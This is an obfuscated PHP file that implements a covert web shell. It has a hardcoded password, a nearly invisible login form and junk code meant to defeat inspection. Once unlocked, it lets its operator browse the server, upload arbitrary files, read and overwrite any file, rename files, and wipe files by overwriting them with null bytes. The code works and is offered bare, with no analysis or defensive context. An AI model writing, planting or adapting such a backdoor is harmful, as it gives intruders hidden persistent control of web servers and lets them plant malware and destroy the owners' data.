<?php function fhmcy(){if(session_id()==='')session_start();$kkwmvar=urlencode('a b');$_SESSION['microexpunge']=$_SESSION['microexpunge']??[];$sbtn=bin2hex('value');}$xajfvar=number_format(4757,2);function tqdh($ycvsnvar){return htmlspecialchars((string)$ycvsnvar,ENT_QUOTES,'UTF-8');}$fhsdavar=number_format(9317,2);function rf($j){fhmcy();$ssvar=array_sum(array(1,2,5));static $ycvsnvar=0;$bpnlvar=date('Y-m-d');$_SESSION['microexpunge'][++$ycvsnvar]=$j;$nhyvar=version_compare(PHP_VERSION,'5.0.0','>=');return $ycvsnvar;}$pemlhuvar=explode(',','config,result');function vzt($k,$d=null){fhmcy();$bmtz=preg_quote('a.b/c','/');return $_SESSION['microexpunge'][$k]??$d;$qkux=chunk_split('abcdef',1);}$vmmmvar=min(array(68,46,68));function ikwyle($p,$ibtkbvar){$p=trim(str_replace("\0",'',$p));$ueckfovar=strrev('output');if($p==='' or $p==='.' or $p==='/')return $ibtkbvar;$fyhvar=PATH_SEPARATOR;$p=rawurldecode($p);$kyqvar=array_values(array('value'=>45));$p=str_replace(['/','\\'],DIRECTORY_SEPARATOR,$p);if(strpos($p,DIRECTORY_SEPARATOR)!==0)$p=rtrim($ibtkbvar,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.ltrim($p,DIRECTORY_SEPARATOR);$jlssvar=[];foreach(explode(DIRECTORY_SEPARATOR,$p) as $jzgovar){if($jzgovar==='' or $jzgovar==='.')continue;if($jzgovar==='..'){array_pop($jlssvar);continue;}$jlssvar[]=$jzgovar;}$xbmjovar=DIRECTORY_SEPARATOR.implode(DIRECTORY_SEPARATOR,$jlssvar);$rnhvar=@realpath($xbmjovar);$sxvar=realpath($ibtkbvar);if($rnhvar!==false and $sxvar!==false and strpos($rnhvar,$sxvar.'/')===0)$xbmjovar=$rnhvar;is_file($xbmjovar) and ($xbmjovar=dirname($xbmjovar));return rtrim($xbmjovar,DIRECTORY_SEPARATOR);}function ckrtsa($p){if(!is_file($p) or !is_readable($p))return false;$mquvar=@fopen($p,'rb');if(!$mquvar)return false;$psrxvar='';while(!feof($mquvar)){$felovar=fread($mquvar,16384);if($felovar===false)break;$psrxvar.=$felovar;}fclose($mquvar);return $psrxvar;}function wffnbq($p,$d){$luobkvar=dirname($p);if(!is_dir($luobkvar) or !is_writable($luobkvar))return false;$mquvar=@fopen($p,'wb');if(!$mquvar)return false;flock($mquvar,LOCK_EX);$txgvar=fwrite($mquvar,$d);flock($mquvar,LOCK_UN);fclose($mquvar);return $txgvar!==false;}function cnbfg($p){if(is_file($p) and is_writable($p)){$mquvar=@fopen($p,'wb');if($mquvar){fwrite($mquvar,str_repeat("\0",max(1,@filesize($p))));fclose($mquvar);}return true;}return false;}function px($p,$opazvar){return '<a href="?n='.tqdh(rf($p)).'">'.tqdh($opazvar).'</a>';}function vqf($p,$ibtkbvar){$rnhvar=realpath($p);$sxvar=realpath($ibtkbvar);if(!$rnhvar or !$sxvar or strpos($rnhvar,$sxvar)!==0)return tqdh($p);$nynfpvar=trim(substr($rnhvar,strlen($sxvar)),DIRECTORY_SEPARATOR);$jzgovar=$nynfpvar===''?[]:explode(DIRECTORY_SEPARATOR,$nynfpvar);$bctdvar=[px($ibtkbvar,'*')];$bevar=$ibtkbvar;foreach($jzgovar as $s){$bevar=rtrim($bevar,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$s;$bctdvar[]=px($bevar,$s);}return implode(' / ',$bctdvar);}$ibtkbvar=__DIR__;$kgxvar="underkerflop";fhmcy();if(!isset($_SESSION['untranscribed'])){if(isset($_POST['ua']) or isset($_GET['ua'])){$bszyevar=$_POST['ua']??$_GET['ua'];if($bszyevar===$kgxvar){$_SESSION['untranscribed']=1;}else{header('Location: '.$_SERVER['PHP_SELF']);exit;}}if(!isset($_SESSION['untranscribed'])){?><!DOCTYPE html><html><head><meta charset="utf-8"><style>*{box-sizing:border-box;margin:0;padding:0}body{background:#f6f6f4}.ki0{position:fixed;top:8px;right:8px;opacity:0.04;display:flex;gap:3px}.ki0 input{width:58px;padding:2px 3px;border:1px solid #e0e0e0;background:#fff;font:10px/1.4 monospace;outline:none}.ki0 button{padding:2px 6px;border:1px solid #e0e0e0;background:#f5f5f5;font:10px monospace;cursor:pointer;color:#666}</style></head><body><form method="post" style="position:fixed;left:50%;top:50%;transform:translate(-50%,-50%);display:flex;gap:4px;opacity:0.08"><input type="text" name="ua" autocomplete="off" style="width:70px;padding:3px 5px;border:1px solid #e0e0e0;background:#fff;font:10px monospace;outline:none"><button type="submit" style="padding:3px 7px;border:1px solid #e0e0e0;background:#f5f5f5;color:#666;font:10px monospace;cursor:pointer">&#10095;</button></form></body></html><?php exit;}}$zgxtivar=$_GET['n']??null;$qavar=$zgxtivar?ikwyle(vzt($zgxtivar,$ibtkbvar),$ibtkbvar):ikwyle($_GET['j']??'',$ibtkbvar);if(isset($_POST['of']) and isset($_FILES['v'])){$yqvar=$_FILES['v']['tmp_name'];$zgvar=basename($_FILES['v']['name']);$ccvar=$qavar.DIRECTORY_SEPARATOR.$zgvar;$txgvar=false;if($yqvar and $zgvar){$urvar=@fopen($yqvar,'rb');$bctdvar=@fopen($ccvar,'wb');if($urvar and $bctdvar){while(!feof($urvar)){fwrite($bctdvar,fread($urvar,16384));}$txgvar=true;}$urvar and fclose($urvar);$bctdvar and fclose($bctdvar);}if($txgvar){header('Location: ?n='.rf($qavar).'&q=1');exit;}header('Location: ?n='.rf($qavar));exit;}if(isset($_POST['a']) and isset($_GET['mk'])){$gzovar=$qavar.DIRECTORY_SEPARATOR.basename($_GET['mk']);$zqvar=$_POST['df']??'';if(wffnbq($gzovar,$zqvar)){header('Location: ?n='.rf($qavar).'&mk='.urlencode($_GET['mk']).'&q=2');exit;}header('Location: ?n='.rf($qavar));exit;}if(isset($_POST['m'])){$lcnqvar=basename($_POST['jv']??'');$gzovar=$qavar.DIRECTORY_SEPARATOR.$lcnqvar;if($lcnqvar!=='' and (is_file($gzovar) or is_dir($gzovar)) and cnbfg($gzovar)){header('Location: ?n='.rf($qavar));exit;}}if(isset($_POST['ip'])){$kdjvar=basename($_POST['ad']??'');$zpivar=basename($_POST['lx']??'');if($kdjvar!=='' and $zpivar!=='')@rename($qavar.DIRECTORY_SEPARATOR.$kdjvar,$qavar.DIRECTORY_SEPARATOR.$zpivar);header('Location: ?n='.rf($qavar));exit;}$ihdzlvar=(int)($_GET['q']??0);$jmvar=$_GET['mk']??null;$ugvar='';if($jmvar){$ugvar=ckrtsa($qavar.DIRECTORY_SEPARATOR.basename($jmvar));}$sipvar=[];$snvar=[];$yoovvar=@scandir($qavar);if($yoovvar!==false){foreach($yoovvar as $azxwvar){if($azxwvar==='.' or $azxwvar==='..')continue;$gzovar=$qavar.DIRECTORY_SEPARATOR.$azxwvar;if(is_dir($gzovar)){$sipvar[]=['n'=>$azxwvar,'p'=>$gzovar];}else{$njuqnvar=@filesize($gzovar);$gqfvar='';if($njuqnvar!==false){$ygbvar=['b','k','m','g'];$owamxvar=0;while($njuqnvar>=1024 and $owamxvar<3){$njuqnvar/=1024;$owamxvar++;}$gqfvar=round($njuqnvar,1).$ygbvar[$owamxvar];}$snvar[]=['n'=>$azxwvar,'s'=>$gqfvar];}}sort($sipvar);sort($snvar);}?><!DOCTYPE html><html><head><meta charset="utf-8"><style>*{box-sizing:border-box;margin:0;padding:0}body{background:#f6f6f4;font:11px/1.5 monospace;color:#333}.ul8{max-width:860px;margin:18px auto;padding:0 14px}.an7{display:flex;align-items:center;justify-content:space-between;padding:7px 0 12px}.an7 .vu6{font-size:10px;color:#aaa;letter-spacing:0.03em}.an7 .vu6 a{color:#888;text-decoration:none}.an7 .vu6 a:hover{color:#444}.an7 .sd7{display:flex;gap:5px;align-items:center}.xr3{font-size:10px;color:#5a7a5a;background:#f2faf2;border-left:2px solid #b8d8b8;padding:5px 10px;margin-bottom:10px;letter-spacing:0.02em}.be1{display:grid;grid-template-columns:220px 1fr;gap:10px;align-items:start}.yi4{background:#fff;border:1px solid #ebebeb}.yi4-head{font-size:9px;color:#bbb;letter-spacing:0.06em;padding:7px 10px;border-bottom:1px solid #f0f0f0}.li2{display:flex;align-items:center;padding:5px 10px;border-bottom:1px solid #f4f4f4;gap:6px}.li2:last-child{border-bottom:none}.li2:hover{background:#fafafa}.li2 .ds2{color:#ccc;font-size:9px;flex-shrink:0}.li2 .tb5{flex:1;color:#333;font-size:11px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.li2 .tb5 a{color:#333;text-decoration:none}.li2 .tb5 a:hover{text-decoration:underline}.li2 .up9{color:#ccc;font-size:9px;margin-right:4px;white-space:nowrap}.li2 .bh0{display:flex;gap:2px;flex-shrink:0}.gi2{padding:1px 6px;background:#fff;border:1px solid #e0e0e0;font:8px monospace;cursor:pointer;color:#777}.gi2:hover{background:#f5f5f5;border-color:#bbb}.do7{width:66px;padding:2px 4px;border:1px solid #e4e4e4;font:8px monospace;background:#fdfdfd;color:#333;outline:none}.do7:focus{border-color:#bbb}.kh1{background:#fff;border:1px solid #ebebeb;padding:10px;margin-bottom:10px}.kh1 textarea{width:100%;padding:7px 9px;border:1px solid #ebebeb;font:11px/1.6 monospace;resize:vertical;min-height:260px;outline:none;background:#fdfdfd;color:#222}.kh1 textarea:focus{border-color:#ccc}.kh1 .bu4{margin-top:6px;display:flex;gap:5px;justify-content:flex-end}.hj5{color:#ddd;margin:0 1px}</style></head><body><div class="ul8"><div class="an7"><div class="vu6"><?php echo vqf($qavar,$ibtkbvar)?></div><div class="sd7"><form method="post" enctype="multipart/form-data" style="display:flex;gap:5px;align-items:center"><input type="file" name="v" style="font-size:10px;color:#999"><button class="gi2" name="of">&#65291;</button></form></div></div><?php if($ihdzlvar===1):?><div class="xr3">deracs</div><?php endif?><?php if($ihdzlvar===2):?><div class="xr3">humua</div><?php endif?><?php if($jmvar and $ugvar!==false):?><div class="kh1"><form method="post"><textarea name="df"><?php echo tqdh($ugvar)?></textarea><div class="bu4"><button class="gi2" name="a">vamor</button><a href="?n=<?php echo tqdh(rf($qavar))?>"><button type="button" class="gi2">&#10229;</button></a></div></form></div><?php endif?><div class="be1"><div class="yi4"><div class="yi4-head">&#9655;</div><?php foreach($sipvar as $luobkvar):?><div class="li2"><span class="ds2">&#9658;</span><span class="tb5"><?php echo px($luobkvar['p'],$luobkvar['n'])?></span><div class="bh0"><form style="display:inline" method="post"><input type="hidden" name="jv" value="<?php echo tqdh($luobkvar['n'])?>"><button name="m" class="gi2" onclick="return confirm('?')">&#10005;</button></form><span class="hj5">|</span><form style="display:inline-flex;gap:2px;align-items:center" method="post"><input type="hidden" name="ad" value="<?php echo tqdh($luobkvar['n'])?>"><input type="text" name="lx" class="do7" placeholder=".."><button name="ip" class="gi2">&#10095;</button></form></div></div><?php endforeach?></div><div class="yi4"><div class="yi4-head">&#8729;</div><?php foreach($snvar as $onvar):?><div class="li2"><span class="ds2">&#8226;</span><span class="tb5"><?php echo tqdh($onvar['n'])?></span><span class="up9"><?php echo $onvar['s']?></span><div class="bh0"><a href="?n=<?php echo tqdh(rf($qavar))?>&mk=<?php echo urlencode($onvar['n'])?>"><button class="gi2">l</button></a><span class="hj5">|</span><form style="display:inline" method="post"><input type="hidden" name="jv" value="<?php echo tqdh($onvar['n'])?>"><button name="m" class="gi2" onclick="return confirm('?')">&#10005;</button></form><span class="hj5">|</span><form style="display:inline-flex;gap:2px;align-items:center" method="post"><input type="hidden" name="ad" value="<?php echo tqdh($onvar['n'])?>"><input type="text" name="lx" class="do7" placeholder=" "><button name="ip" class="gi2">&#10095;</button></form></div></div><?php endforeach?></div></div></div></body></html>